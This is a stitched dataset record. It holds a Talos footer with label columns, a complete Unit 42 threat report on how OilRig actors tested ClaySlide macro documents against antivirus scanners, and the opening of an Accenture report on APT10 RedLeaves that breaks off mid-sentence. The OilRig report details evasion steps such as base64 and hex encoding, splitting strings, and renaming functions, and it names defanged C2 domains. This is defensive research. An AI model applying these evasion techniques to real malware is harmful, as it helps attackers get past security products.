\xe2\x96\xba\xc2 April (10) \xe2\x96\xba\xc2 March (11) \xe2\x96\xba\xc2 February (13) \xe2\x96\xba\xc2 January (11) \xe2\x96\xba\xc2 2008 (37) \xe2\x96\xba\xc2 December (12) \xe2\x96\xba\xc2 November (6) \xe2\x96\xba\xc2 October (7) \xe2\x96\xba\xc2 September (6) \xe2\x96\xba\xc2 August (3) \xe2\x96\xba\xc2 May (3) Recommended Blogs Cisco Blog Emotet is back after a summer break Snort Blog Snort OpenAppID Detectors have been updated ClamAV\xc2\xae blog ClamAV 0.102.0 Release Candidate is now available Software Reputation Center Vulnerability Information Microsoft Advisory Snort Rules IP Blacklist Download AMP Naming Conventions Talos File Reputation AWBO Exercises Library Support Communities About Careers Blog ThreatSource Newsletter Beers with Talos Podcast Connect With Us \xc2\xa9 Cisco Systems, Inc. and/or its affiliates. All rights reserved. View our Privacy Policy here.","0","1","0","1","1","0","1","0","1","1","1","0","1","1","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","1","1","1","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","1","0","0","0","0","1","0","0","0","0","1","0","0","1","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","1","0","0","0","0","0","0","0","0","0" -"OilRig Actors Provide a Glimpse into Development and Testing Efforts Menu Tools Playbooks Speaking Events About Us OilRig Actors Provide a Glimpse into Development and Testing Efforts 18,811 people reacted 0 18 min. read Share By Robert Falcone April 27, 2017 at 1:00 PM Category: Unit 42 Tags: Clayside, Helminth, OilRig, OilRig attacks Throughout an attack campaign, actors will continue to develop their tools in an attempt to remain undetected and to carry out multiple attacks without having to completely retool. In regard to the attack lifecycle, development of tools occurs in the weaponization/staging phase that precedes the delivery phase, of which is typically the first opportunity we see the actors\xe2\x80\x99 activities as they interact directly with their target. We have been presented with a rare opportunity to see some development activities from the actors associated with the OilRig attack campaign, a campaign Unit 42 has been following since May 2016. Recently we were able to observe these actors making modifications to their ClaySlide delivery documents in an attempt to evade antivirus detection. We have identified two separate testing efforts carried out by the OilRig actors, one occurring in June and one in November of 2016. The sample set associated with each of these testing activities is rather small, but the changes made to each of the files give us a chance to understand what modifications the actor performs in an attempt to evade detection. This testing activity also suggests that the threat group responsible for the OilRig attack campaign have an organized, professional operations model that includes a testing component to the development of their tools. Testing Activity, Analysis, and Methodology We collected two sets of ClaySlide samples that appear to be created during the OilRig actor\xe2\x80\x99s development phase of their attack lifecycle. The threat actor uploaded each of these files to a popular antivirus testing website to find out which vendors detected the file. The actor then made subtle modifications to the file and uploaded the newly created file to the same popular antivirus testing website in order to determine how to evade detection. The flowchart in Figure 1explains the process in which the threat actors followed during their testing activities. Figure 1 Flowchart describing the testing process carried out by OilRig actor Lucky for us, the threat actors do not modify the metadata within their delivery documents, which allows us to determine when the actor last modified each Word document. These untainted timestamps allow us to create a timeline that we can use to order the files as they were created by the actor. Our analysis methodology involves iteratively comparing each file with the next file in the timeline to determine the changes the actor made to the first file that resulted in the creation of the second file. The first testing activity we observed began with an initial sample created on June 13, 2016 with 17 subsequent files created for testing purposes that the actor created in a two-hour period on June 15, 2016. Table 1shows the samples we observed associated with the June 2016 testing activity, including the iteration, the last modified timestamp, the hash, the filename, and the antivirus detection rate of the newly created file. The first \xe2\x80\x9cttt.xls\xe2\x80\x9d file and the files with incrementing filenames have the same decoy contents, which is the reason we initially included this sample with this group despite the difference in naming. Also, the filename \xe2\x80\x9cttt.xls\xe2\x80\x9d contains the acronym for \xe2\x80\x9cto the top\xe2\x80\x9d, which is common usage in Internet forums and could depict the actor starting testing activities. Iteration Modified SHA256 Filename AV Base 2016:06:13 05:28:32 742a52084162d3789e19\xe2\x80\xa6 ttt.xls 4 1 2016:06:15 05:24:25 f1de7b941817438da2a4\xe2\x80\xa6 1.xls 6 2 2016:06:15 05:28:11 b142265bb4b902837d83\xe2\x80\xa6 2.xls 0 3 2016:06:15 05:30:45 2e226a0210a123ad8288\xe2\x80\xa6 3.xls 2 4 2016:06:15 05:33:11 299bc738d7b0292820d9\xe2\x80\xa6 4.xls 4 5 2016:06:15 05:39:55 6e62308b94455569b8a1\xe2\x80\xa6 5.xls 2 6 2016:06:15 05:42:20 d64b46cf42ea4a7bf291\xe2\x80\xa6 6.xls 1 7 2016:06:15 05:47:09 77f8a267357a8d237e0b\xe2\x80\xa6 8.xls 1 8 2016:06:15 05:52:50 92f429b6f9b8031b5fc6\xe2\x80\xa6 9.xls 3 9 2016:06:15 05:55:01 c2a386723d8f203e1228\xe2\x80\xa6 10.xls 2 10 2016:06:15 05:57:50 2fb6bce8fc2f531de183\xe2\x80\xa6 11.xls 2 11 2016:06:15 06:00:24 75b033a40a756e2536d0\xe2\x80\xa6 12.xls 2 12 2016:06:15 06:10:46 8bb8f2bada27d14be021\xe2\x80\xa6 13.xls 1 13 2016:06:15 06:13:30 3af6dfa4cebd82f48b66\xe2\x80\xa6 14.xls 2 14 2016:06:15 06:16:27 82239a4e18a67f7b2ba0\xe2\x80\xa6 15.xls 2 15 2016:06:15 06:19:45 938101a1a336ce0fff57\xe2\x80\xa6 16.xls 2 16 2016:06:15 07:02:49 5e9ddb25bde3719c392d\xe2\x80\xa6 ttt.xls 4 17 2016:06:15 07:39:53 4190a8b8e6fa7bc37712\xe2\x80\xa6 ttt.xls 0 Table 1 Samples associated with the June 2016 testing activities The second testing activity of ClaySlide delivery documents began with the actor creating a base sample on November 14, 2016, followed by six subsequent test files created within a 30-minute window on the following day. Table 2 shows the pertinent information related to the ClaySlide testing activity that occurred in November 2016. Again, there was an obvious difference in filenames at the beginning of this activity, but we included the first two samples in with this group based on the first two files initially sharing decoy contents, but more importantly sharing the same macro code and payload scripts as the initial testing sample with the filename of \xe2\x80\x9cweak.xls\xe2\x80\x9d. Iteration Modified SHA256 Filename AV Base 2016:11:14 04:15:57 ae40262d5fad4bc48066\xe2\x80\xa6 Tables[Update].xls 5 1 2016:11:15 07:53:50 16880db37c35d4b28e68\xe2\x80\xa6 33.xls 5 2 2016:11:15 07:56:09 47054a8d380c197a7f32\xe2\x80\xa6 weak.xls 5 3 2016:11:15 08:05:52 e9ccf7a3c1e24f173ae9\xe2\x80\xa6 weak.xls 3 4 2016:11:15 08:12:11 e3c6f13dc3079a828386\xe2\x80\xa6 weak.xls 3 5 2016:11:15 08:14:35 427ce6b04d4319eeb84d\xe2\x80\xa6 weak.xls 2 6 2016:11:15 08:19:55 18b603495f8344c02468\xe2\x80\xa6 weak.xls 2 Table 2 Samples associated with the November 2016 testing activity By analyzing the changes made to the ClaySlide delivery document during these two separate testing activities we were able to gain insight into the techniques used by the actors during the testing. Before reviewing the activities performed in the two testing sessions, the following high level observations can be made: Patterns in filenames emerge, with testing files having the same word or incrementing numbers for the filenames, or a set of testing files sharing the same exact filename Very structured approach, using a baseline test sample followed by small iterative changes Actor may also revert back to the baseline test sample and continue testing Changes made only a few minutes apart and can involve: Removal or location change of payload Modified decoy contents and sheet names Changes to function and variable names Removal of entire lines of code Obfuscating strings via concatenation or an alternate encoding (base64 or hexadecimal) Reordering of functions in the code In many cases, testing files are no longer functional due to: Removal of a required component(s) Replacement of variables with nonsensical values Use of encoded strings without ability to decode Testing activities ceases with a very low antivirus detection rate The number of vendors detecting the samples increases and decrease throughout the testing as the actor attempts to determine what the detection signatures are triggering on June 2016 Testing Activity In June 2016, an actor related to the OilRig campaign began a series of testing activities in an attempt to determine the portions of the ClaySlide macro code that antivirus vendors were using for detection purposes. These activities resulted in 17 different iterations of the ClaySlide delivery document, many of which no longer run properly due to the changes made within the files. We have included an exhaustive analysis of the June 2016 testing activity in Appendix A. In the June testing, the actor started by removing the malicious payload from the Excel delivery document to focus their testing on the malicious macro. The actor made many iterative changes during their testing of the macro, however, the actor began these changes by completely removing a block of the code that was responsible for saving the payload to the system and for creating the scheduled task to run the payload. The removal of this code brought the detection rate to 0, which told the actor that the antivirus detection rules were detecting these files based on these lines of code. The actor spent most of their subsequent efforts modifying portions of this code. Now that the actor knew the portion of the code that caused antivirus detection, the actor added that portion of the code back to the macro and made changes in attempt to determine the exact line of code that was detected. This process involved changing the commands used to create the payload and the scheduled task. The changes made to these two commands involved their complete removal, their replacement with non-functioning strings such as keyboard mashing and their equivalent strings in a variety of different encodings, including base64 and hexadecimal representation. The actor also changed the way these commands were executed as well, specifically by either using the WScript.Shell object directly or the object stored in a variable. The actor also uses intentional misspelling of commands, such as \xe2\x80\x9cpoawearshell\xe2\x80\x9d and \xe2\x80\x9cscshtassks\xe2\x80\x9d, as well as variations to the filenames for the payloads, such as \xe2\x80\x9cfiraeeye.vbs\xe2\x80\x9d instead of \xe2\x80\x9cfireeye.vbs\xe2\x80\x9d. After making changes to the commands above, the actor shifted their focus onto changing the function names within the macro, which did not result in any change in the detection rate. After a 40-minute break, it appears the actor reverts to the base macro instead of modifying the previously created test file. Again, the actor modifies the code in the base macro responsible for saving and running the payload, but this time the actor changes the folder names it creates for the payload to store its generated files. Also, the two files generated during these activities that occurred after the actor reverted back to the base macro had keyboard-mashed strings for their decoy contents, which differed dramatically from the previous test files. During the entirety of this testing activity, the antivirus detection rate reached a high of 6 but ended with a zero vendors detecting the sample when the actor ceased testing activities, which suggests that the actor was satisfied with this result. However, we do not see conclusive evidence to suggest that the actor was attempting to evade a specific antivirus vendor. November 2016 Testing Activity On November 15, 2016, an actor related to the OilRig campaign began testing the ClaySlide delivery documents. While the testing activities in June began with the removal of the payloads from the delivery document, the files generated during the November testing all retained their Helminth payloads, all of which were the same payload that use the C2 domain of \xe2\x80\x9cupdateorg[.]com\xe2\x80\x9d. We have included an exhaustive analysis of the November 2016 testing activity in Appendix B. In the November testing, the actor appears to initially focus on making modifications to the Excel worksheet that contains the decoy contents. The changes made to the worksheet involved adding random strings to cells within the decoy, to changing the names of the worksheets themselves. Eventually, the actor completely changes the contents of the decoy to a different theme entirely, from a decoy containing routing settings to a list of weak passwords. In addition to making changes to the Excel worksheets that contain the decoy content, the actor also made changes to the worksheet that is initially displayed to the user. Taking a step back, as discussed in the Appendix in our initial OilRig blog, ClaySlide delivery documents initially open with a worksheet named \xe2\x80\x9cIncompatible\xe2\x80\x9d that displays content that instructs the user to \xe2\x80\x9cEnable Content\xe2\x80\x9d to see the contents of the document, which in fact runs the malicious macro and compromises the system. When the macro runs, it hides the \xe2\x80\x9cIncompatible\xe2\x80\x9d worksheet and displays the worksheet that contains the decoy document. The actor modified the \xe2\x80\x9cIncompatible\xe2\x80\x9d worksheet to include random strings, which appears to be an attempt to see if detection rules are using the hash of this sheet for detection purposes. Meanwhile, during these changes to the \xe2\x80\x9cIncompatible\xe2\x80\x9d worksheet, the actor is also making changes to the malicious macro as well. The actor began changing the function names in the malicious macro from \xe2\x80\x9cDoom_Init\xe2\x80\x9d and \xe2\x80\x9cDoom_ShowHideSheets\xe2\x80\x9d to \xe2\x80\x9cDoon_Init\xe2\x80\x9d and \xe2\x80\x9cDoon_SHSheet\xe2\x80\x9d to \xe2\x80\x9cIni\xe2\x80\x9d and \xe2\x80\x9cSHSheet\xe2\x80\x9d. At one point, the actor changed the order of the functions in the macro to see if it was the cause of detection. The actor also changed the variable name used to store the VB script used to run the Helminth payload from \xe2\x80\x9cBackupVbs\xe2\x80\x9d to \xe2\x80\x9cBackup_Vbs\xe2\x80\x9d. Another change made during these testing activities involved the actor splitting the command needed to create the scheduled task in several strings and concatenating them back together. This technique is interesting, as the resulting command is still functional which differs dramatically from the modifications seen in the June testing where the commands were changed to a point where they were no longer operational. The last change made to the malicious macro is the locations in which the macro obtains the payload. In all ClaySlide delivery documents, the macro obtains scripts related to the Helminth Trojan from specific cells within the \xe2\x80\x9cIncompatible\xe2\x80\x9d worksheet. By changing the cells containing the scripts, the actor is checking to see if detection rules are looking for scripts at these specific locations. By the time the threat actor ceased this testing activity, the actor had lowered the detection rate of the ClaySlide delivery document to 2, suggesting this was a satisfactory result. Like the June testing activity, we do not see conclusive evidence of the threat actor attempting to evade a specific antivirus vendor in the November testing. Conclusion The threat actors involved with the OilRig attack campaign have shown part of their playbook that involves testing and modifying their delivery documents prior to use in attacks. The purpose of these modifications is to evade detection from security products to extend the usage of their ClaySlide delivery documents. By analyzing these testing activities, we gain some helpful insight into the OilRig actors, specifically that this threat group is fairly mature from an operational standpoint and the fact that they hope to use their delivery documents as long as possible. We were already aware of this threat group making modifications to their ClaySlide delivery document that we discussed in our previous blog. Now we know that there is an organized process involved that results in these changes, rather than the threat actor arbitrarily making changes to parts of the delivery documents, such as filenames and payload behavior. This realization suggests that the OilRig threat group will continue to use their delivery documents for extended periods with subtle modifications to remain effective. Appendix A This appendix contains an in-depth analysis of each iteration of testing activity carried out by the OilRig actors in June 2016. We provide screenshots and diffs between files (when available) to visualize the modifications made during the iteration. Iteration 1 The actor removed all but three bytes from the VBS and PowerShell scripts, while the macro itself remains unchanged. This suggests that the delivery document no longer contains the malicious payload (Helminth scripts) used to infect the system. By removing the payload from the delivery document, the actor can isolate antivirus detection results based on the delivery document itself. Also, without the payload the samples no longer have some attributes and entities that security researchers typically use to correlate samples to a specific threat group, such as the C2 server of \xe2\x80\x9cupdate-kernal[.]net\xe2\x80\x9d that was in the payload in the base sample. With the payload removed, the actor focuses their efforts in subsequent iterations on modifying the macro within the delivery document. Iteration 2 The actor completely removed code that is responsible for a majority of the functionality within the macro. The code removed, as seen in Figure 2, is responsible for the following: Creating folders p \\Libraries\\dn \\Libraries\\tp Running a PowerShell command to create PowerShell script VB script Running a command to create a scheduled task to run the VB script Figure 2 Changes made in Iteration 2 Iteration 3 The actor adds the content removed in the previous iteration. However, the line of code responsible for running the command to create the scheduled task to run the VB script was omitted. This suggests the threat actor was testing to see if vendors were detecting ClaySlide samples based on this line within the macro. Figure 3 Changes made in Iteration 3 Iteration 4 The actor adds the line of code omitted from the previous iteration, suggesting this specific code was not used for detection purposes. The actor also changed the method in which it calls the PowerShell script in the \xe2\x80\x9ccmd\xe2\x80\x9d variable, by using a \xe2\x80\x9cWScript.Shell\xe2\x80\x9d object stored in the \xe2\x80\x9cwss\xe2\x80\x9d variable instead of creating a new \xe2\x80\x9cWScript.Shell\xe2\x80\x9d object. Figure 4 Changes made in Iteration 4 Iteration 5 The actor base64 encoded the contents of the \xe2\x80\x98cmd\xe2\x80\x99 variable that stored a command to invoke a PowerShell script that would save the payload to the filesystem. Also, the actor changed the command to create the scheduled task to be base64 encoded as well. These alterations do not come with a base64 decoding routine, suggesting that the sample generated in this iteration would result in an error. The lack of a decoding routine suggests that the actor does not waste time making sure the code actually works, as they could add code to support these changes. Figure 5 Changes made in Iteration 5 Iteration 6 The actor tests to see if the base64 encoded strings added in the previous iteration were detected by removing these strings and leaving the two command strings empty. Figure 6 Changes made in Iteration 6 Iteration 7 The actor adds the base64 encoded string for \xe2\x80\x9cpowershell.exe\xe2\x80\x9d within the \xe2\x80\x98cmd\xe2\x80\x99 variable and in place of the command to create the scheduled task. Figure 7 Changes made in Iteration 7 Iteration 8 The actor replaces the first base64 for \xe2\x80\x9cpowershell.exe\xe2\x80\x9d with the base64 encoded string to run the PowerShell command, but replaces the second \xe2\x80\x9cpowershell.exe\xe2\x80\x9d with the cleartext string to create the scheduled task. The base64 encoded PowerShell command is similar to those seen in previous iterations. However, the actor changed one of the filenames used to save the payload to \xe2\x80\x9cfiraeeye.vbs\xe2\x80\x9d (from \xe2\x80\x9cfireeye.vbs\xe2\x80\x9d) and references a variable named \xe2\x80\x9cFireeayeVbs\xe2\x80\x9d (from \xe2\x80\x9cFireeyeVbs\xe2\x80\x9d) that does not appear in the code. Figure 8 Changes made in Iteration 8 Iteration 9 The actor replaces the cleartext string to create the scheduled task with the base64 encoded version of the string. However, the base64 encoded string changes the name of the created task from \xe2\x80\x9cGoogleUpdatesTaskMachineUI\xe2\x80\x9d to \xe2\x80\x9cGoosgleUpdatesTaskMachineUI\xe2\x80\x9d and the script name from \xe2\x80\x9cfireeye.vbs\xe2\x80\x9d to \xe2\x80\x9cfireeyse.vbs\xe2\x80\x9d. Figure 9 Changes made in Iteration 9 Iteration 10 The actor makes changes to the base64 encoded strings that used as a command to use PowerShell to install the payload and to schedule a task to run the payload. The base64 encoded PowerShell command reintroduces the filename \xe2\x80\x9cfireeye.vbs\xe2\x80\x9d and the variable name \xe2\x80\x9cFireeyeVbs\xe2\x80\x9d, both of which were changed in iteration 8; however, the base64 encoded command uses the string \xe2\x80\x9cpoawearshell\xe2\x80\x9d instead of \xe2\x80\x9cpowershell\xe2\x80\x9d. As for the base64 string used to create the scheduled task, the actor reintroduced the scheduled task name of \xe2\x80\x9cGoogleUpdatesTaskMachineUI\xe2\x80\x9d and script filename of \xe2\x80\x9cfireeye.vbs\xe2\x80\x9d, which were changed in iteration 9. However, the actor uses the string \xe2\x80\x9cscshtassks\xe2\x80\x9d to see if the \xe2\x80\x9cschtasks\xe2\x80\x9d string was being detected. Figure 10 Changes made in Iteration 10 Iteration 11 The actor changed the base64 encoded strings within the \xe2\x80\x98cmd\xe2\x80\x99 variable and the string used to create the scheduled task. Instead of including the base64 encoded string of the PowerShell and create task command, the actor replaced these strings with the base64 encoded representation of the following string: source code from https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.htmlsource code from https://www.fireeye.com/blog/threat- research/2016/05/targeted_attacksaga.htmlsource code from https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.htmlsource code from https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.htmlsource code from https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.htmlsource code from https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.htmlsource code from https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.html 1 2 source code from https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.htmlsource code from https://www.fireeye.com/blog/threat- research/2016/05/targeted_attacksaga.htmlsource code from https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.htmlsource code from https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.htmlsource code from https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.htmlsource code from https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.htmlsource code from https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.html The string above contains a link to a FireEye blog that provided an analysis of this delivery document. It should be noted that the following non-encoded string was included in previous samples as a comment within the macro: \xe2\x80\x98source code from https://www.fireeye.com/blog/threat-research/2016/05/tareted_attacksaga.html Figure 11 Changes made in Iteration 11 Iteration 12 The actor replaced the base64 strings within the \xe2\x80\x98cmd\xe2\x80\x99 variable and the string to create the scheduled task with randomly typed letters. It appears the actor performed two-handed keyboard mashing to generate the strings used in these variables. Figure 12 Changes made in Iteration 12 Iteration 13 The actor changed the randomly typed keys in the \xe2\x80\x98cmd\xe2\x80\x99 and the string for creating the scheduled task with the base64 strings from two iterations back. However, the base64 strings were added between opening and closing brackets. Figure 13 Changes made in Iteration 13 Iteration 14 The actor changed the base64 encoded strings used for the PowerShell command and the command to create a scheduled task from the last iteration to a hexadecimal string. The string contains the hexadecimal representation of the characters that make up the command to create the scheduled task, which was last seen in Iteration 4. Again, the script does not contain decoding functions to decode the hexadecimal values to the correct characters, therefore this script is not functional. Figure 14 Changes made in Iteration 14 Iteration 15 The actor changed the two function names that are run when the Excel document is opened. In all prior iterations, these function names were \xe2\x80\x9cfireeye_Init\xe2\x80\x9d and \xe2\x80\x9cfireeye_ShowHideSheets\xe2\x80\x9d, which are responsible for installing the Trojan and displaying the decoy contents within the Excel spreadsheet, respectively. The actor changed these two function names to \xe2\x80\x9cfireeye_Init2\xe2\x80\x9d and \xe2\x80\x9cfireeye_ShowHideSheets3\xe2\x80\x9d to determine if the function names were being detected by antivirus products. Figure 15 Changes made in Iteration 15 Iteration 16 This iteration is very interesting, as we believe the actor reverts back to the base document instead of making changes to the document created in the previous iteration. The filename changed from an incrementing number to \xe2\x80\x9cttt.xls\xe2\x80\x9d, which is the same filename as the base document. Also, when we compared the sample from the previous iteration, there were a number of changes seen here: Figure 16 Changes made in Iteration 16 if compared with the file in Iteration 15 However, if you compare the file created in this iteration with the base file, the number of and type of changes seem to align closer to the modifications performed in previous iterations. If the actor reverted to the base document as we suspect, then modifications were made to the script filename, the folder names that store files generated by the payload, as well as the method the script invokes the PowerShell script. The actor changed the script filename from \xe2\x80\x9cfireeye.vbs\xe2\x80\x9d to \xe2\x80\x9cfireueye.vbs\xe2\x80\x9d, changed the \xe2\x80\x9cup\xe2\x80\x9d, \xe2\x80\x9cdn\xe2\x80\x9d and \xe2\x80\x9ctp\xe2\x80\x9d folder names to \xe2\x80\x9cuup\xe2\x80\x9d, \xe2\x80\x9cdgn\xe2\x80\x9d and \xe2\x80\x9ctup\xe2\x80\x9d and uses the \xe2\x80\x9cWScript.Shell\xe2\x80\x9d object stored in the \xe2\x80\x9cwss\xe2\x80\x9d variable instead of creating a new \xe2\x80\x9cWScript.Shell\xe2\x80\x9d object to run the command. Figure 17 Changes made in Iteration 16 if actor reverted to the base file Iteration 17 In the last iteration of this testing activity, the actor changed some of the modifications made in the previous iteration back to the values used in the base document, specifically the filenames and folder names. However, the actor also adds a new variable to store the \xe2\x80\x9c%PUBLIC%\xe2\x80\x9d environment variable that the script uses as the path to store the \xe2\x80\x9cfireeye.vbs\xe2\x80\x9d script and the folders that the payload would use. This iteration also includes a modified PowerShell command that attempts to run a command stored in the \xe2\x80\x9cfireeye.vbs\xe2\x80\x9d file, but does not include the portion of the command that would write the script to that file. The actor also removed the line that would run the command to create the scheduled task to run the VB script. Figure 18 Changes made in Iteration 17 Appendix B This appendix contains an in-depth analysis of each iteration of testing activity carried out by the OilRig actors in November 2016. We provide screenshots and diffs between files (when available) to visualize the modifications made during the iteration. Iteration 1 In the first iteration of this testing, the actor changed the decoy content from the base sample. At a high level, the decoy contents contained commands to configure a Cisco router with static routes and other settings. Originally, the base test file used in this testing activity contained just these configuration settings in an Excel worksheet named \xe2\x80\x9cSheet1\xe2\x80\x9d, as seen in Figure 19. Figure 19 Original decoy contents found in the base test file In the first iteration of testing, the actor changed the worksheet name that contains the decoy content from \xe2\x80\x9cSheet1\xe2\x80\x9d to \xe2\x80\x9chgvc\xe2\x80\x9d and added a string to the worksheet \xe2\x80\x9cjgvchhctf\xe2\x80\x9d, as seen in Figure 20. We believe the threat actor is attempting to determine if the worksheet name or the hash of the decoy worksheet were causing antivirus detection. Figure 20 Changes made to the decoy contents in Iteration 1 Iteration 2 The actor then changed the name of the worksheet that contains the decoy content from \xe2\x80\x9chgcv\xe2\x80\x9d to \xe2\x80\x9ctable\xe2\x80\x9d and completely changed the decoy content from the Cisco routing settings to a list of weak passwords, as seen in Figure 21. We believe this is the threat actor testing the new decoy content that they will use in an upcoming attack. Figure 21 New decoy contents introduced in Iteration 2 Iteration 3 Following the lead of previous iterations, the actor made modifications to the content in the Excel worksheet; however, in this iteration the changes were not made to the decoy worksheet, rather the change was made to the initial worksheet called \xe2\x80\x9cIncompatible\xe2\x80\x9d that displays the message to instruct the user to enable content to run the macro. As seen in Figure 22, the actor adds the string \xe2\x80\x9cyy\xe2\x80\x9d to this worksheet to determine whether antivirus vendors were detecting Clayslide documents based on this worksheet. Figure 22 Changes made to the Incompatible worksheet in Iteration 3 The actor also made modifications to the macro in this iteration, specifically by changing function names and by splitting up strings and concatenating them back together. The function names in the macro \xe2\x80\x9cDoom_Init\xe2\x80\x9d and \xe2\x80\x9cDoom_ShowHideSheets\xe2\x80\x9d were changed to \xe2\x80\x9cDoon_Init\xe2\x80\x9d and \xe2\x80\x9cDoon_SHSheet\xe2\x80\x9d to determine if these function names were causing detection. Also, the actor split the word \xe2\x80\x9cpowershell\xe2\x80\x9d in the commands within the macro and concatenated them together to retain functionality. Figure 23 Changes made to the macro in Iteration 3 Iteration 4 Much like the previous iteration, the threat actor makes changes to the Incompatible worksheet and the code within the macro. First, the threat actor added the string \xe2\x80\x9chi\xe2\x80\x9d to two cells within the initially displayed Incompatible worksheet, as seen in Figure 24. Figure 24 Changes made to the Incompatible worksheet in Iteration 4 The actor also made modifications to the macro in this iteration, as seen in Figure 25. The actor changed the two function names from \xe2\x80\x9cDoon_Ini\xe2\x80\x9d and \xe2\x80\x9cDoon_SHSheet\xe2\x80\x9d to \xe2\x80\x9cIni\xe2\x80\x9d and \xe2\x80\x9cSHSheet\xe2\x80\x9d respectively. Also, the actor changed the variable name that stores the VB script obtained from the spreadsheet from \xe2\x80\x9cBackupVbs\xe2\x80\x9d to \xe2\x80\x9cBackup_Vbs\xe2\x80\x9d, and modified the PowerShell command to use this new variable as well. Lastly, the actor further split the name of the created task using concatenation to retain functionality. Figure 25 Changes made to the macro in Iteration 4 Iteration 5 In this iteration, the actor rearranges the order of the functions in the script, specifically putting the \xe2\x80\x9cIni\xe2\x80\x9d function before the \xe2\x80\x9cSHSheet\xe2\x80\x9d function. Figure 26 shows this function reordering. Figure 26 Changes made to the macro within Iteration 5 Iteration 6 In the final iteration of testing, the actor moves the base64 encoded VB Script and the two base64 encoded PowerShell scripts to three different cells within the Incompatible worksheet. The actor also changes the macro to access the base64 encoded strings from these new locations, which retains the functionality of this document. Figure 27 Changes made to the macro in Iteration 6 \xc2 Get updates from Palo Alto Networks! Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address! Please mark, I'm not a robot! By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement. Popular Resources Resource Center Blog Communities Tech Docs Unit 42 Sitemap Legal Notices Privacy Terms of Use Documents Account Manage Subscriptions \xc2 Report a Vulnerability \xc2\xa9 2019 Palo Alto Networks, Inc. All rights reserved.","0","0","0","0","0","0","1","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Hogfish Redleaves Malware Threat Analysis I Accenture Copyright \xc2\xa9 2018 Accenture Security. All rights reserved. 1 HOGFISH REDLEAVES CAMPAIGN HOGFISH (APT10) targets Japan with RedLeaves implants in \xe2\x80\x9cnew battle\xe2\x80\x9d THREAT ANALYSIS HOGFISH REDLEAVES CAMPAIGN Copyright \xc2\xa9 2018 Accenture Security. All rights reserved. 2 iDefense analysts have identified recent campaigns attributed to APT10, also known as HOGFISH and Stone Panda. This report provides a technical overview of the bespoke RedLeaves implants leveraged by the actor in their \xe2\x80\x9cnew battle\xe2\x80\x9d campaign. iDefense is providing information about this reported campaign to the general iDefense customer base so that customers are aware of the modus operandi of a highly active threat group that is targeting institutions for espionage purposes, especially in Japan. More specifically, this threat analysis is intended for security operations center (SOC) analysts and engineers. Intelligence analysts may also want to read this report. Additionally, management and executive leadership may want to use this information. SOC analysts and engineers can use this threat analysis detailed information pertaining to the workings of a malware family and indicators of compromise (IoCs) to contain or mitigate the discussed threat through monitoring or blocking. SOC analysts can use the information provided in the Analysis and Mitigation sections of this IA to conduct hunting activities on systems that may have already been compromised. Analysts and security engineers can use the IoCs by adding them to hunting lists on Endpoint Detection and Response (EDR) solutions as well as network- and host-based blacklists to detect and deny malware implantation and command-and-control (C2) communication. Intelligence analysts may want to use the information provided in this IA to better inform their own analyses. The provided information can also help inform ongoing intelligence analyses and forensic investigations, particularly for compromise discovery, damage assessment, and attribution. Management and executive leadership may use this information to assess the risks associated with the threat described herein to make operational and policy decisions accordingly. Knowledge of the tactics, techniques, and procedures (TTPs) used by the operators behind this campaign helps to better inform detection and response to attacks by this threat group. HOGFISH REDLEAVES CAMPAIGN Copyright \xc2\xa9 2018 Accenture Security. All rights reserved. 3 HOGFISH (APT10) TARGETS JAPAN WITH REDLEAVES IMPLANTS IN NEW BATTLE REDLEAVES ANALYSIS The sample that iDefense analyzed for this report is a Word document with Japanese filename, 2018\xe5\xb9\xb4\xe5\xba\xa6\xef\xbc\x88\xe5\xb9\xb3\xe6\x88\x9030\xe5\xb9\xb4\xe5\xba\xa6\xef\xbc\x89\xe7\xa8\x8e\xe5\x88\xb6\xe6\x94\xb9\xe6\xad\xa3\xe3\x81\xab\xe3\x81\xa4\xe3\x81\x84\xe3\x81\xa6.doc, which translates to English as \xe2\x80\x9cAbout the 2018 fiscal year (Heisei 30) tax system revision.doc\xe2\x80\x9d. This document has the following properties: \xe2\x80\xa2 Filename: 